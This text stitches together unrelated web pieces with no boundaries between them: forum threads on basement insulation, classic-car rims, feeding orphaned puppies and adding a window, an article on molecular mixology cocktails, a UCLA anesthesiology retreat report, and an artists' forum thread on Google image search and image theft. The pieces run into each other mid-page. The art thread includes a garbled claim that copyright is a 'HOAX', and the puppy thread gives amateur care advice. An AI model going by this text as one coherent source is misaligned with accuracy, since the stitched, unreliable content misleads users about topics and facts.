Vapor barrier question again
I have insulated a basement with john mansfield bat insulation. I have always heard as well that the vapor or paper side should be against the warm side. In my case the basement is all concrete and unfinished with no ventilation so i placed the vapor barrier down. Can someone please tell me if i have just wasted 2 days insulating the basement ceiling by putting the vapor barrier down. I am in arkansas so the climate is warm with mild winters for the most part. additionally, there was no vapor barrier on the ground since the basement is concreted, walls and floor. thus i thought paper side down for a vapor barrier
What, exactly, are you doing or have you done? Insulated against the concrete walls w/ batting? If so, oops. Same for the floor. If in the ceiling, why? Noise? Warmth? More details will be helpful.

Meredith Barnett: How Technology Is Changing The Way We Drink
How the secret ingredient in the latest cocktails has nothing to do with flavor.
For a generation that scarcely remembers the age of cell phones before smartphones (not to mention life before email), it's no surprise that the omnipresence of technology has extended all the way to the cocktail hour—and not just to texting during drinks but to the drinks themselves.
Like many culinary trends that begin in the kitchen and then move to the bar, molecular mixology, as the movement is called, grew out of molecular gastronomy—the practice of applying principles of chemistry and physics to cooking. The always-experimental chef Ferran Adria of Spain's cutting-edge El Bulli restaurant (a wildly popular but money-losing venture that closed last year) pioneered techniques such as the transformation of liquid foods into solids using liquid nitrogen; by the mid-2000s he was inspiring chefs the world over.
Soon, bartenders began applying the same method to cocktails. At Kansas City's The Drop, for example, "Drops"—hand-to-mouth gourmet jelly shots—have been the house specialty since 2008.
But more recently, innovators like Dave Arnold of Manhattan bar Booker & Dax have taken the concept to new levels. Arnold, who serves as director of culinary technology at the French Culinary Institute, has turned his bar into a chemistry lab, employing liquid nitrogen, centrifuges and a 500-watt hot poker he made himself. "I've always been a gear head and a food guy," he told the San Jose Mercury News. Among his specialties: Friend of the Devil—a mixture of rye, Campari, Sweet Vermouth, Pernod and bitters that he zaps with that hot poker, smoldering at 1,500 degrees, to caramelize the sugar in the liquor.
In 2012 for the first time, the James Beard Foundation introduced a category for Outstanding Bar Program to its awards ceremony. Among the five nominees was Chicago's Aviary, a cocktail lounge whose every drink is an exercise in theatricality. (It even has its own legendary ice program.) "We start with a great drink and then add another method—a sight, a sound, some smoke, some fire," said Micah Melton, who focuses on developing new drinks and supervising the bar area.
Take the Midnight Mary, one of the first drinks added to the menu by Charles Joly, formerly of The Drawing Room, who joined Aviary as beverage director this past summer. Says Melton: "We take some basil puree, make it into a foam and freeze the foam in liquid nitrogen. We take the frozen foam, muddle it at the table and mix the drink … So when you scoop the foam into the glass, there's foam pouring out of the glass [and a noise when it foams]. Instead of just dropping a glass with a cocktail in it at the table, it's a more in-depth cocktail experience."
There's also the In the Rocks, which utilizes the super chiller, a machine manufactured by Polyscience (a science company that now makes food preparation products) that can circulate liquids to keep them at the same temperature constantly instead of continuing to cool them like a common freezer would. Says Melton:
"The ice chef fills water balloons and drops them into the super chiller—into a bath that's half water and half grain alcohol, so the bath is 100-proof and will never freeze. It circulates down to around zero degrees Fahrenheit—much below the freezing point of water. It's so cold that as soon as the balloon hits the surface, the outside freezes and forms a shell, like an egg… We drill into the egg … and use a syringe to suck out the water that's not frozen; so then you have a hollow piece of ice. We then put the cocktail in bottles inside the super chiller … It gets so cold that when we shoot it into the ice, it won't melt the ice. So what you have is a cocktail that's inside of a piece of ice … We put the ice cube inside of a rocks glass and send it to the table. We give you a slingshot, and when you pull the slingshot, you break the ice cube open and then you have a real drink 'on the rocks.'"
Todd Maul, the envelope-pushing bartender at Boston's Clio restaurant, says, "You have to look at a 'rule' and say: 'What does this rule adhere to? What were the limitations they were forced to this by and what limitations were they trying to overcome?' A situation is created by limitations. These limitations are all really breakable by technology."
Among the limitations-breaking tools in Maul's arsenal: A rotovap (a rotational evaporator, most often used in bio-science), which he says creates a vacuum to break apart alcohol at a very low temperature. A centrifuge to extract and manipulate flavors from lemons, fruits or even yams. A sugarcane extractor for making fresh sugarcane water. A blast freezer that makes ice colder and harder so less water melts into a drink and dilutes its flavor. And mini hibachis Maul uses to burn fruit in order to release the sugar (a technique long favored in flavor science).
Not far away, at Blue Inc in Boston's financial district, the bar team incorporates somewhat less technically elaborate but equally showstopping techniques. Bob Lupo, a member of the restaurant's bar team, describes using liquid nitrogen to make beer slushies during the summer and utilizing maltodextrin—a chemical that "extracts the fat out of whatever it comes in contact with"—to make powdered peanut butter for a PB&J martini.
Lupo confesses that kitchen concoctions such as these can be "a pain in the butt" (and pricey, too—Maul says rotovaps cost around $8,000 and a good centrifuge will run you $12,000). So why bother?
Clearly, there's the "wow" factor. "If someone has a gin and tonic," says Lupo, "and then all of a sudden the server is coming down and there's a drink that has liquid nitrogen and is smoking everywhere, it really starts a conversation"—and has customers coming back for more.
Melton of Aviary also notes that this kind of experience can bring customers outside of their usual cocktail comfort zone: "People will order things they've never tried before because they want that thing that the table next to them got. There's a boundary-breaking of what we can do and get away with … It's a lot more engaging."
But exciting experiences aside, all of these bartenders insist that at the end of the day, it comes back to making a better drink. "What we're doing," says, Maul, "is looking at science and technology and saying we can make better drinks encompassing and incorporating what is available."
So what of the at-home bartender who, having had her fill of experimenting with the "Mad Men" playbook of classic cocktails, now wants to try something not retro, but new?
When Aviary customers began walking off with the Porthole, an infuser designed to change the flavor of a cocktail as it was consumed, its inventor, industrial designer Martin Kasner, decided to manufacture a version for the home. He launched a fundraising campaign on Kickstarter, which rapidly raised more than $700,000 over his $28,500 goal. The product should be shipping out soon.
Similarly, noting an interest in turning the home kitchen into a chemistry lab, Canadian company Molecule-R has come out with a series of at-home molecular gastronomy kits, including a drinks-focused version called the Cocktail E-Revolution. It comes complete with a variety of food additives, pipettes and a DVD containing a series of recipes.
But for folks wary of experimenting with calcium lactate or xanthan gum in their own kitchen, there are subtler nods to the trend. Take Electricity, one of the flavors produced by ODDKA, a new vodka brand from Pernod Ricard. Unlike other, more clear-cut flavors in the brand's arsenal (say, Apple Pie or Salted Caramel Popcorn), Electricity is meant to defy existing flavor expectations, offering not just taste, but tongue-tingling sensation—like lightning in a bottle.
"With ODDKA, we wanted to explore flavors beyond the expected, and Electricity is one that comes to mind as a really fun and exciting example of the way we were looking to expand the palate of adventurous consumers," said Maja Johansson, Global Brand Manager at The Wyborowa Company, which operates ODDKA. "More than any flavored vodka on the market today, Electricity was developed with a nod toward today's tech-obsessed world, and also with an eye on the trend of molecular mixology."
Even pros agree: "Anything that gets someone excited before they drink it is always a plus," says Micah Melton when asked about Electricity ODDKA. "So if by the look, the name or the color you can get people interested in it before they drink it, it makes them much more likely to like it"—even without a hot poker or blast freezer in sight.

2012 UCLA Anesthesiology Residents' RetreatOctober 22nd, 2012
October 6, 2012, marked an important day for the UCLA anesthesia residents, as the date for the highly anticipated Annual Residents' Retreat. Every year the UCLA Department of Anesthesiology residents get together as a group to discuss different aspects of being a resident, moving on from residency, long term planning, as well as enjoying some time together on the beach.
This year the group returned the Hermosa Beach house that has held the retreat for the past two years. The residents enjoyed breakfast and mingling prior to the initiation of formal part of the day. Tatum Korin, EdD, and Yue Ming Huang, EdD, MHS, worked with the residents to identify strategies to be more effective teachers for the important and valuable role that residents share to train medical students during clinical rotations throughout the residents' training. That was followed by discussions with several financial advisors regarding planning for the future as well as options for disability and life insurance. Then everyone moved on to lunch and games for camaraderie and teamwork.
Later in the afternoon, all the residents sat down with Samuel Wald, MD, Clinical Professor and Associate Residency Program Director, for a very fruitful discussion on planning for our lives after residency. Whether it is applying for a fellowship for advanced training in a subspecialty, joining a private practice, or working in academics, he offered very important advice on how to achieve our goals.
Probably the most important part of the retreat was the residency review sessions with Judi Turner, MD, PhD, Residency Program Director; Dr. Wald; and Neil Paige, MD, Internship Program Director. This is a time where the residents are able to discuss aspects of the residency that we feel could be improved upon. Numerous important changes and improvements in the residency program have been a result of resident feedback during these sessions.
The night ended with dinner as well as the addition of significant others joining to meet the other residents. Many of the residents stayed after dinner to enjoy some quality time together.
Not only did the Anesthesiology residents learn how to improve their skills as educators and about strategies for their careers and financial future, but more importantly, had some time to be all together. During residency it is often hard to coordinate schedules with each other but the retreat was the perfect time to enjoy colleagues and friends, and many great memories were made.

Refirbishing 1973 and 1974 stock rims.
I figured I would put this here since the topic supports "driveline" subjects.
My car currently has mismatches rims/rubber on the front. I need new rubber aswell as a wheel alignment and wheel balancing. So I've been putting off getting that work done until I got matching rims. One rim was an original 14" chevy nova rim and the other I don't know about. However my uncle gave me one of his 73 nova ss rims that was from his car that he rolled.
I just got the rim here and its got some wear and tear. What I would like to do is take all the crappy old rubber off and replace it. But before doing that I want to clean up the rims a little. I was thinking about taking them to my school throwing them in the sandblaster and cleaning them up before painting them. What do you guys think? Would this work well for two rallye rims? One from a 73 Nova SS and one from a 74 Nova SS. The one on my car now is painted grey and isn't too bad. My car is currently in grey primer and I will be painting it black with white rallye stripes in the future. I was thinking of painting the front rims black or silver(to match the rear rims with are superior diamond spokes).
Here are a few pictures. Note I don't have a picture of the new rallye rim. Its in a little worse shape then the one on my car. Its a bit rusty.
Back rims(now has new 295-50-r15 rubber):
Front rim(I think this ones the original rallye)
Any help would be greatly appreciated.
We have a man in my area who sandblasts the rims and then powder coats them ( any color ) for a reasonable amount of $$$ ...
That's what I would do ... and work back towards the classic restored look ... but then ... I remember when those Novas were NEW ...
ya the car definately needs a lot of work but I haven't had it that long. When I got it it had sat beside someones garage without a motor for 10 years in primer. The back right shock absorber mount had blown through the trunk and the passenger side(same as shock) muffler was split open end to end from a rank backfire. At that same time when the shock absorber went through the trunk it fell down and went through the gas tank.
I've had almost all of that crap fixed now. I'm assuming the problem before with the shock through the trunk was from the risers they had above the shocks. There were stock shocks with 3" spacers jerryrigged up and they had quite the flex side to side... But I had a mechanic weld up my trunk and install aftermarket extended shock absorbers which fit perfect. The original hood will be going on after I get it painted to patch the car. Right now its the original burgundy colour. The reason they used the snorkal hood was apparently because they had a tunnel ram going through it. The hood has a cutout where my air cleaner could go up in the scoop but I haven't had a chance to install a 3" riser.
I've just ordered a new gas tank for my car thats an exact replica. I will probably be trying to build up a posi diff this winter aswell while my car is in storage. I'm also looking into a new urithane bushing kit(urithane spelt wrong) for the front and rear suspension.
I'm going through highschool and just looking to make this a fun car. I hate those crappy ricers everyone drives around where its all about how big of a muffler you can get speedy muffler to slap on.

My smooth fox terrier passed away 3 days after giving birth. I have 2 newborns. What should I feed them? Time? Quantity?
One of the puppies died in-utero. She was unable to give birth, so the vet did a c-section. 12 hours later fever started, going up to 40.2 Celcius. She did not respond to any med. The vet decided to take a look and found an utero in very bad shape so a histerectomy was performed 24 hours later. She survived the procedure but was to weak and died 6 hours after.

Try posting this on the health forum on this site. There are more people there. It's been a long time since I had puppies that young. In the mean time, you should go to the pet store before it closes and get some puppy formula. They can't go long without the right food. I'm pretty sure they need to be fed every 2-3 hours, even through the night. People on the health forum can give you more info. Good Luck!

ok I dont know whether I'm gonna be able to answer this in less than 1000 characters
Prepared for a nightmare time ! Right Welpi is a milk substitute your vet will have some !
the measurements are on the packet
You will need to keep the puppies warm either a heat lamp or hot water bottle in a box with a towel so the puppies dont touch the bottle
Feeding will need to be done every 2~3 hours through the night as well !
main thing is making sure you have the correct teat as the milk can go down into the lungs and cause pneumonia so make sure you hold the puppy in an upward position when you feed them
If Milk comes out of their nose this is a possibility so watch out for that ??
Another main point is puppies also cant wee or poo themselves until they are older ?? Use kitchen towel Paper with warm water and in an upward movement then wipe around the puppies bit's ?? then around the bottom in a circular movements and then they will poo ! Please contact me my email firstname.lastname@example.com

get goats milk get a baby bottle a small one warm the goats milk till a little less the luke warm the pups may not take to it right away but keep trying they will. you will need to take a wet wash clothe clean and run some luke warm water on it you will have to wipe across their peep and butt hole because they are not able to go to the bathroom on their own yet. You will see they do it as it will come out. eacg time you feed use the CLEAN wash clothe this means everytime you do this CLEAN the wash clother under saop and water and then you can use the same one each time.
It has been a long time since I had pups but this will continue till they can do it on their own and when they can you will see it, They need no washing at this age if they need to be washed you can at 4 weeks 8 weeks they say but I would do it and then keep them very warm after it but this is ONLY if they are diry for some reason I mean VERY DIRTY. If you don't keep them warm all the time they will die.

Has anybody done this? I'm not talking about replacement windows, but actually cutting a hole, adding a header and dropping in a new window. I would expect its fairly easy, the area I want to add the window is vinyl sided, second floor.
How involved was it, and what would you expect to pay? Since the housing market dropped, we wont be selling and upgrading as planned, so we are looking at making some improvements so we are happier in staying in our current home for a longer period of time.

A real man loves his wife, and places his family as the most important thing in life. Nothing has brought me more peace and content in life than simply being a good husband and father.
I've installed in new construction and done replacement windows before, but never a new hole in an existing home. I think I'd rather hire it out than do it myself, it just seems like to much can go wrong. I'd rather a pro do it.

It's very doable,any wiring should be running at about the wall outlet height.

I did the job once a number of years ago. The wall was stuccoed on the exterior. It's an easy enough job so long as you don't have to deal with the wiring.
Worse part is the second floor; It is harder to get to on the exterior.
Gotta make sure if it is a bearing wall, (supporting the roof trusses) that you temporarily support the structure while cutting out the studs and inserting a header. If the new window is less than 6' wide, the header should be reasonable with a double 2x12. If 6' or larger you may want to have a lumber yard do some beam sizing for you.
If you have done window installs in new construction, you know how to get where you are going for the most part. Remember you have to cut the cripple studs below the window 1-1/2" lower than the drywall opening and insert a sill, also you need to get a couple lap studs under the new header set into the sides. Demo'd hole will be larger than the window opening. This can be tricky, usually requiring replacing a 'ripper' of drywall under the new casing. Sides may require a little mud work.
Remove the drywall & insulation in the area intended and look for wiring, vent stacks, etc. If nothing's in the way, now you are ready to modify framing. Siding is easy to remove, cut to fit and replace, but it's gonna be a reach.

Yeah, I can do it myself, I just don't want too. I worked on a framing crew and "punch out" crew all through high school and for a few years after I got out of the military... I can do open heart surgery with a sawzall, I just would rather pay somebody who has done it a lot more recently than 15-20 years ago, and that might offer a warranty.

Vinyl siding has a way of becoming brittle in very cold weather, there is a good chance you'll end up breaking a couple pieces. Seeing that you are not a professional carpenter it would probably take you twice as long to do it and there is the possibility of it getting screwed up. While all this is happening you would have big hole in the side of your house letting in all the balmy outside air. You would then start hearing the complaints about how cold it is in the house, why is it taking so long, you screwed something up, etc, etc, etc.
Winter is the contruction dead zone. You should be able to negotiate a fairly good price to have a professional do it, and you wouldn't have to bear the brunt of your wife's displeasure if you made a mistake. I speak from hard earned experience from my home improvement efforts. While I'm not as bad as Tim "The Toolman" Taylor but I have faced the displeasure of my wife enough to make my think twice about some DIY projects.

Not much to it past what has been said, if you have done windows before just need miter saw and saws -all.
Does it support the roof, if so double up king studs before cutting the old studs. To see just how to plan for what is ahead make trip or two to Home Depot/Lowes and look in framing books also remodeling books it should cover any thing you will need.
Siding should be removed before cutting hole, saved and reinstalled and cut to fit window so it will match the only new material new on the outside would be trim (J channel) if you don't have a opening right next to where you are putting the new window it will look like it was always there.
No telling in this work hungry environment what some will put it in for, call and get a price but I would think somewhere around $1,500 give or take.
Here is my opinion. Unless you have worked construction, or have a friend that has that will be there to assist DO NOT do it yourself. If you do hit a water pipe or electrical line you will wind up paying a whole lot more in repairs.
I would hire a pro to do it.
Think of it this way would you want a guy off the street on your entry team serving a high risk warrant??
I have some training in construction, but would still not do it with out one of my SF engineer buddies that has done his contracting license.
This is in no way saying you are not competent enough to handle the job, but better to have someone else that has the skills, this way if something does happen your not paying.
Again just my $.02

I am concerned about image copyright safety with the new Google image search feature. It now makes it easy for someone to download a high-res copy of images on FAA. They don't even have to visit FAA to do it now. They can just click the image in the search results and have access to enlarged version they can download. I tested one of my images and was able to download a 900x750 image at 200dpi right from the Google search results! Way too easy for image theft now. Is there some way to prevent the downloading of high dpi images from FAA?

you don't need google, you can do that right here. the image will always be a small version, while you can do things with the small version, you can't make a large print. they can't get to the large version. but you can get the image without having to go through google. pinterest takes the full size as well and keeps it locked in their own servers just so you know. it's one of the things you just have to leave be in order to sell.
---Mike Savad
I'm not sure what you mean by "you can do that right here." If you mean download the image, no. I can't go to my FAA page, right-click and select "save image as..." It does not allow right-clicking. Not for me anyway. Maybe a different browser does?
The way Google image search worked just yesterday you could not get a high res image from the search results. This just changed last night. Now in the Google image search results you can click to get a full sized view and then right-click on that image to download it. I tried it out and was able to save a 200dpi image to my HD. It was linked to the FAA site so FAA does not lock it the way Pinterest does, apparently. No, this is not THE full size 4000px+ image used for actual prints. But it's larger than I'd let loose on the internet. I don't keep anything larger than 500px at 72dpi on my own websites. I don't consider 900px at 200dpi too small to steal and use. That makes a decent quality smaller print and is certainly good enough to use on small products coffee mugs, coasters, calendars, etc.
the image is already here. you can right click in the first few seconds, or go to the buy page and it's there also. google can only get a 900px image, it's the only thing they can get here.
in either case, if you sell here, the sample size is 900px. they can't get your large image so don't worry about that. they can't get pieces either because the loupe doesn't allow for that. there are many arguments here about the 900px size, and yes you can do a lot with it. but i also know i sell better here than other places and i think its in part that they can see a larger version than other sites.

I won't go into details on how one can go about snagging images off this site or any site for that matter but even before the newest Google image update you could get the image.
The only sure fire way is not to place ones work online. I don't agree with image thieves but not going to worry over them either.
Yes, the determined thieves could always find a way. But Google just made it way easier. So now we're not limited to determined thieves. Now even the casual viewer who thinks it's harmless to d/l and print your images just for themselves instead of paying for a small print can find it easy to do.
And my son runs his finger across his smart phone and gets a screen capture. It is easy to get low res images online. Simply a fact of the digital age.
google has had the image search for like 2 years now. it's not really new. this is the internet, it people already think the images can be taken. if you see your image on another site, you complain to that site or fill a DMCA to remove it.
---Mike Savad
I'm sorry but I don't think people are thoroughly reading what I wrote. Yes, Google has had an image search for a long time. I know that's nothing new. But before yesterday you could NOT d/l a full sized image from there. Yes, it's always been easy to d/l low res images. But now you can d/l a decent quality 900pixel 200dpi version instead of the crappy highly compressed 180px thumbnail you used to get in the image search results.
And I think what you are not understanding is that anyone could come here and get the 900 pixel version, google not needed. So, while maybe this is new to google, it isn't new. And that is perhaps why no one is that excited. It might make it easier for a blogger to get a picture for their site, but a determined thief would have long figured out how to get the higher res image.
so they took one step out of the process. they still led people here, and i think they did have full size before and let them download. in either case anyone just has to look at their own cache to find the large image. it's on everyone's machine. and i am telling you i can get that image just as easily without google.
if you are worried, then erase everything. but its hard to sell without being here. otherwise don't worry about it. or get it watermarked.

Here we go again.
Crista, I am thoroughly reading it, and it is exactly the same thread that comes up on here every few weeks and has for a long time now so it didn't just happen yesterday.
The thing is, you are getting upset at the level of ease here but the reality is that 900 pixel images have been liftable off FAA since they changed to that size image on here and it does not and has not taken a determined thief. My 12 year old can do it as can anyone under 30 that has grown up with computers. They teach it in school, and I am not kidding here.
Yes, someone can print a card or an 8x10 but that is life on the net. I do not agree with the thievery but I don't worry about it either. I am not here to sell 8x10s though they do sell, even if people can "lift the image for free, people still buy them. On the other hand, if people want a 48 inch print that looks good, they will pay for it.

Not personally concerned that Google has made it any easier to get to the image. As others have said in the thread above, if they want it and can see it, they can already get it. I do however think Google has gone a long way towards blurring where the line is between their site and the net. People already refer to Google images as if they are Google's images rather than the creative work of others. Essentially they are hotlinking the image. Go search for an image on Google now, and you can watch a virtual slideshow using the bandwidth of a lot of people at once. The thumbnails are still cached on Google's server, but as soon as you click to enlarge it, you're eating up the other person's bandwidth without the viewer actually visiting their site. And then I can click the left/right arrows to scroll through all the results, hence my slideshow comment. Little by little, it feels like Google is turning into one big scraper site in its own way. People can go to Google, and never leave...
So, maybe the bigger concern is that Google is using your resources without sending you any visitors in return? I have mixed feelings. Do those people who never go to the site really matter? Would they have purchased anything at all or were they just looky-loos to begin with? Hard to guess, but we shall see! I've read some webmasters already reporting drops in visitors to their sites in a short time.
"So, maybe the bigger concern is that Google is using your resources without sending you any visitors in return? I have mixed feelings. Do those people who never go to the site really matter? Would they have purchased anything at all or were they just looky-loos to begin with?"
Yes, that's also a concern. It's always possible someone was browsing images of seascapes, followed it to your site, then came across a lovely floral painting they thought would be perfect for Aunt Rose's birthday! But if they never have to go to your site, and can browse all your seascapes from Google, they'll never discover the floral. Probably not a frequent issue but who wants to lose even one sale?

Christa, without visiting the site, that casual viewer might not even realize they *could* buy a print. They could see the theoretical seascape, like it, and never take the extra step to realize they could buy it. It has a potential to impact the sale of the image they looked at as well,as you point out, any other images they might have encountered if they had clicked through.
I still leave it in the potential category, though. Maybe the people who aren't motivated to go to the site aren't the ones who make purchases. So, FAA could see a visitor drop but it might not impact sales...
But it's all guesses until we see what plays out in the real world.

This is now before the United States Court for the Western District of Arkansas! Google Inc spend about half-a-million there thus far in legal fees to have the United States HOAX called copy[rite] ruled to no longer protect artists "moral" right online.
Google Inc has profited off the intellectual or artistic property of others since the first day they made a profit based on the United States HOAX called copy[rite] or section fair-use found in 17 USC �107.
Trouble is that artists who do not purchase copy[rites] and join in on the United States HOAX called copy[rite] by registering a license to sue are not subject to the exceptions to the HOAX license to sue called copy[rite].
Google Inc will very soon no longer be allowed to steal or display art not specifically authorized. POOF.

Why not rig the next generation of computers with built-in guns, ... you know ..., like where camera lenses are, and then when somebody right-clicks to "save image as", an automated voice is activated that says, "Do you feel lucky punk, ... well, do you?" ... BAM!
This looks about as reasonable as John's proposal.

Hello Curtis, since the conception of inner-net laws, isn't it a fact though, once you download anything to the host site, regardless if you have a copyright or not, your work is indeed protected by world wide copyright laws. There site is copyrighted to the fullest and all content there of. If you look at a sites information, it plainly states this. So by the host allowing anything as in the case with Google they are at fault allowing something to be extracted, certainly if someone were to download or lift something related to there site and you use it publicly you would be sued by the courts. So if an individual were to sue Google as someone mentioned you would win the case in court because Google has broken there own contractual laws, unless they are not even Copyright to begin with.....

And yet, if you carefully analyze the statement you see that while casting a disparaging remark about 'computer nerds' ("with no life") he nonetheless admits his need for them (creating a virus). Quite an interesting combo; sort of "jekyldy and hydeish" (yeh - I made that up. LOL)

Yeah, that would solve a lot.
Not to mention, it would affect 99.9% people who had no idea what they were doing. You don't need to copy/paste to get an image. As soon as you see it in your browser, it's already in your web cache.
Unless FAA has IP-tracking defences, I could probably devise a bot to mass-download the images of anyone on this site in an hour or so.

If you host an image on your website you are now basically paying for bandwidth so Google can sell ads using your work. You get nothing out of the deal. No traffic to your website, no payment for your image, no ad revenue. You just get the pleasure of Google stripping your copyright from the image and making it easier for people to use it for whatever. Try going to court and saying that you own the copyright on versions of 900+ pixels when smaller copies are in common use.
So, what is the comment about no way to get to the original image and site?

Write your congressman/woman/person and complain to the FCC and don't forget the U.S. Attorney General (wishing you good luck there). Me thinks you will have to show that Google has used, or that someone has used Google to appropriate your copyrighted image.
Not sure, but it seems like Google is making it easier to find me. I typed "Venice Art Prints" in Google, clicked on images. About the 6th row, there was one of mine. I clicked it, and it gave me a link right to FAA. I like that :)
"If you host an image on your website you are now basically paying for bandwidth so Google can sell ads using your work."
If you have your own site, you're paying for bandwidth anyway. If your bandwidth charges go up based on people searching for your images (an incredibly remote possibility) than Google has just alerted you to a colossal marketing opportunity you've been missing.
"You get nothing out of the deal."
You get Google to index your site into the most powerful and popular search engine on the planet. For free. Would you like Google to ignore you?
You have ALWAYS hosted the image, that Google has got, on your own domain. It's always been that way.
Nothing has changed but the look on Google The images are the same images they had before
In fact, now you can see the link also

As Jeff stated, "...it seems like Google is making it easier to find me..."
Concur with that! As a test, I typed-in (w/o quote marks) "Kentucky Barns", then tried "barn images by greg jackson". Both tries yielded my name plus the link directly to FAA, and I also found a link to another photography site (non-pod that I'm a member of) with some of my barn shots.
You do have the option to password protect all of your galleries - which I have considered doing.
I have my own website with low res images with my copyright on the front of them. If they get stolen, not too much can be done with them - except maybe on someone's blog.
How is this website selling my original art prints? It has other artists images as well and I can not log into this site with my FAA login and password!
This is a fake shop set up by FAA and you would get all moneys if a print sold. It is a trial of a new shop for galleries. Just a tester
stoneart is a variant of this site, designed as a private site for private galleries. it's one of sean's pet projects.
---Mike Savad
boy this is like the 3rd or 4th time we answered together beth, it's a weird link...
---Mike Savad
But the prices are not the same that are showing on the FAA site, the ones I added! for example a greeting card of my blue elephant on FAA site is $5.95 and this site is selling it for $6.55. Why is there a discripancy? Are they making more money than they are showing us?
I do not know why. I am sure I can find out though
i wonder if his prices are less. or maybe his extra markup is less. because he said it's for a framer, maybe that's where they fill in their extra profit?
---Mike Savad
I think that if it is a "gallery" storefront (even as a test) the extra charge is for the gallery to make a little money. We still make our asked for share, but the gallery gets something too. However, as they said, it is a test at the moment.
that's interesting
my cards there are $17.95, and on this site $15.95
and there are no metal prints
my small prints are $35 there, $32 here. yeah, it's more expensive on the stone site, by like i guess 5-10%. the largest size has a $53 difference more on that side.
as long as i get my cut, i don't care, but it is interesting that it's different like that.

That is a test site. FAA owns it. We're just testing there.
The prices are higher because we would allow the website owner to add a markup to each order. That's what we do on Amazon. Amazon prices are higher because Amazon puts a markup on each order.
Again - that site is just a test. I haven't touched it in well over a year.
Yes, of course, Jeff, that will be it.
Like Amazon getting more.

Does anyone buy the higher-priced FAA canvas prints on Amazon instead of paying less here???
Also I am still confused...site below is still an extension of FAA as artistswebsite is, then why are the artists not told about it and why is it charging more than the prices listed on the FAA site, (amazon is a completely different site) and the images to this site are loading automatically as I loaded the images to my site! Then why markup?

Read the post from Sean (FAA owner) three posts up. He was working on something, but it never came to fruition.
It would appear he was working on something where a brick and mortar store could have a website of sorts and offer prints for sale where WE as artists got our share and the store itself could make a little money for bringing their own customers to the site.
However, that never got off the ground, and that stoneart site is just a remnant of the work. I think you are worrying too much over this....
Well it is confusing because it is still updating our images, it has even the image that I added last night. How am I supposed to know that this is an inactive site when I just came to know about it today in the first place? I am just asking questions to understand ... Sean's message says this site is owned by FAA and then it says the owner would put a markup. If FAA is the owner, they already have a markup unless that website is meant to be bought and run by someone else other than FAA.
I haven't been here long but thanks for explaining anyway! Aloha, mukta

as a photographer we run in to this allot there is a guy called James Beltz who made a free site just for this reason there is lots of info and what to do and to links here is the site
It is a TEST gallery
The gallery would add on prices if FAA start to do this. So the test gallery is also adding on prices as part of the test
As long as you get the money you are asking for then there is nothing to worry about
I ask for X dollars. Site Y sells my work for Y which is greater than X.
Frankly, I don't care if you buy a 100 of my pieces and resell them on Ebay so long as I get X or more for a given piece regardless if it is a gallery, Amazon or private retailer.
Unless you are truly worried about people stealing a 900 pixel wide/tall image then google or in this case Stone something gallery having your image that can lead to money in your pocket is a GOOD thing. If you are that worried about the 900 pixel image theft, then take your work offline now and only show people that come to your house as even selling live leads to people scanning your work.
Sometimes confusion is caused a lack of communication. People find their work on other sites and don't know if its a scam site or an affiliate because they were not informed.
Even though the tagline claims "Museum quality prints from the world's greatest living artists", I doubt a real gallery would want to represent all of the artwork on FAA. I would think they would be much more selective than that. There may be a few of the world's greatest living artists on FAA but I've not seen them yet. I certainly don't consider myself to be one by any stretch of the imagination. If a gallery selected even 10% of my work that's on FAA, I'd be amazed. Just my opinion and I'm sure there will be some that disagree with this posting.
I had not put in my work online for the longest time knowing it is very original, however, deciding to add it online, I am already aware that some of it will be stolen and I decided to do that because it wasn't doing anything sitting around and I felt now I was doing stamp collection and its better to be out there than not, otherwise it kills my spirit to create sometimes. Actually, I do give away a lot of my artwork to friends and people i like, I have never care about selling my work until now when I am finding hard to make a living otherwise through my regular job thinking that it might give me more time to create. But now I am not sure and I feel maybe I should go back and look for work again and just do my art as a hobby on the side...
Does anyone know how to get images removed from google?
i suppose you can serve them a dmca notice to have them removed, but why in the world would you want that? it's still another way for people to get you, even if it works a bit more backwards now.
---Mike Savad
I don't think it is more backwards now Mike; I find it easier.
And yes, you can remove ALL artwork from ANY online source you have them on and they will eventually be gone from google too.
Right, JC. Google doesn't have any images. They just point to where the images are. If the images aren't there, Google doesn't see them, and neither does anyone else.
@Mike I agree with you Mike except that I've been on FAA a year and only sold one postcard. I have spent extensive time and efforts updating keywords and descriptions and using social media like G+, FB, Tw, Li, FAA groups and discussions too. I don't like the 900px images up on google. They used to use smaller ones and link directly to the image page. Now people can steal the 900px image right off of google. If I sold a lot like you do, then I could say "its the cost of doing business" but since I'm not selling at all, I'd rather not give them away in that size as freebees.
@JC thanks - I checked out google's help info and yeah if the image is not on the site, their crawlers will detect it and eventually remove images.I have my own website with much smaller low res images on it. They also have my copyright on the front. I decided that I will no longer drive traffic directly to my FAA or AW site but to my personal site instead. I'll have info on my personal site so if someone wants to buy something, I can direct them to FAA/AW sites. Right now I have all of my FAA galleries PW protected. Eventually they should disappear from google's image search. I may open it back up if I can find the time to put watermarks on them (almost 300) - although I'd prefer not to have the FAA watermark on them, right now the choice is that or nothing.

I noticed that too. I clicked on one of my paintings on Google images and there it was clear as day. But all my work is copyrighted so I'm not too worried about it.
when i clicked on an image, it said, would you like to see the website, then it loaded up that blank gray screen. now i know there is more than that, but other people may not. at least in the old version there was a transparent box that showed there was something underneath.
---Mike Savad
@dave - i can tell you that i sell often and there doesn't seem to be a dent in sales as far as that 900px image goes, if anything seeing more of the image helps the sale. but there will always be theft. it's not just adverting though, they still have to like your work. and if your showing it to people that aren't interested, they won't get it. the hard part is finding the parties that your images do fit into. oh and be careful with google plus, they banned me doing just that - advertising. i can't even comment on you tube because of it.
if you password protect your galleries, you will never sell anything - at any point. and if people can't find you in the search, your shooting the other foot. you want google to find you. i get many people finding me by picture - and buying. so as it stands, you'll never get a sale if you lock your gallery. you might as well erase the stuff. the moment it's open, google will re-index it.
---Mike Savad
still don't know why anyone would want to be removed from a search. it's just another place to find you - well the place to find you. and there are more than just google. bing, and many others also do the same, you would have to get them all to do it.
---Mike Savad
@Mike I thought I would use my personal site to serve the 0.000001% of my visitors that may want to buy something. I can give them a PW and send them to my AW site in the unlikely event they want to make a purchase. In an ideal world, for me, my personal website would be the only portal to my AW site. All of my marketing efforts so far have only made the bots go crazy with maybe a few random visitors, most likely other artists. Its way different for you - you already have a large following and a reputation.
Google indexes my personal site as does bing and yahoo and others.
the likely hood that someone will go out of their way to ask for a password for work that couldn't see here, is so low, it will never happen. like if you had the choice of going to a store, one with a locked door, one with an open door, which would you go into? the open one. even though you could ask someone if they had the key, there is little point since there is an open store near by and because i can't even look into the windows of the locked one, why ask for a key?
people know me because they see my images on other sites. you really can't build a rep unless they see your work, especially since it's the work your trying to sell.
---Mike Savad
